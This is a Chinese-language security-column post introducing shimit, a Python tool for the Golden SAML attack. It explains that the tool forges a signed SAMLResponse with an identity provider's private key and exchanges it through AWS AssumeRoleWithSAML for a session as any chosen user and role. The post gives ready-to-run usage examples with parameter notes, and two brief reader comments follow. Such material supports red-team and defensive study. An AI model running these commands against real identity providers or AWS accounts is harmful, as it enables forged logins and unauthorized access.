Shimit是一个实现Golden SAML攻击的python工具。关于这方面的更多信息可以在我们博客的以下文章中找到。
python .\shimit.py -h
usage: shimit.py [-h] -pk KEY [-c CERT] [-sp SP] -idp IDP -u USER [-reg REGION]
[--SessionValidity SESSION_VALIDITY] [--SamlValidity SAML_VALIDITY] -n SESSION_NAME
-r ROLES -id ARN [-o OUT_FILE] [-l LOAD_FILE] [-t TIME]
███████╗██╗ ██╗██╗███╗ ███╗██╗████████╗ ██╔════╝██║ ██║██║████╗ ████║██║╚══██╔══╝ ███████╗███████║██║██╔████╔██║██║ ██║ ╚════██║██╔══██║██║██║╚██╔╝██║██║ ██║ ███████║██║ ██║██║██║ ╚═╝ ██║██║ ██║ ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ SHIMT
在金色的SAML攻击中,攻击者可以以任何他们想要的权限访问应用程序(任何支持SAML身份验证的应用程序),并成为目标应用程序上的任何用户。
shimit允许用户创建一个签名的SAMLResponse对象,并使用它在服务提供者中打开一个会话。shimit现在支持作为服务提供商的 AWS控制台,更多正在开发中......
在生成并签署SAMLResponse的断言之后,shimit将调用AWS中的AssumeRoleWithSAML() API。然后,会话标记和密钥将应用于新会话,用户可以使用aws cli使用使用黄金SAML获取的权限执行操作。
要安装所需的模块,请运行以下命令:
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
需要安装才能使用获得的凭据。可以 从这些链接下载用于Windows或 Linux。
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
idp - 身份提供商URL,例如http://server.domain.com/adfs/services/trust
pk - 私钥文件完整路径(pem格式)
c - 证书文件完整路径(pem格式)
u - 用户和域名,例如domain \ username(在* nix中使用\或引号)
n - AWS中的会话名称
r - AWS中期望的角色。支持多个角色,将假定第一个角色。
id - AWS账户ID,例如123456789012
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
o - 将编码的SAMLResponse输出到指定的文件路径
python .\shimit.py -l saml_response.xml
l - 从指定的文件路径加载SAMLResponse
本文作者:FreeaRoot
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/69805.html
学习了
@瓦都剋 兄弟,留个联系方式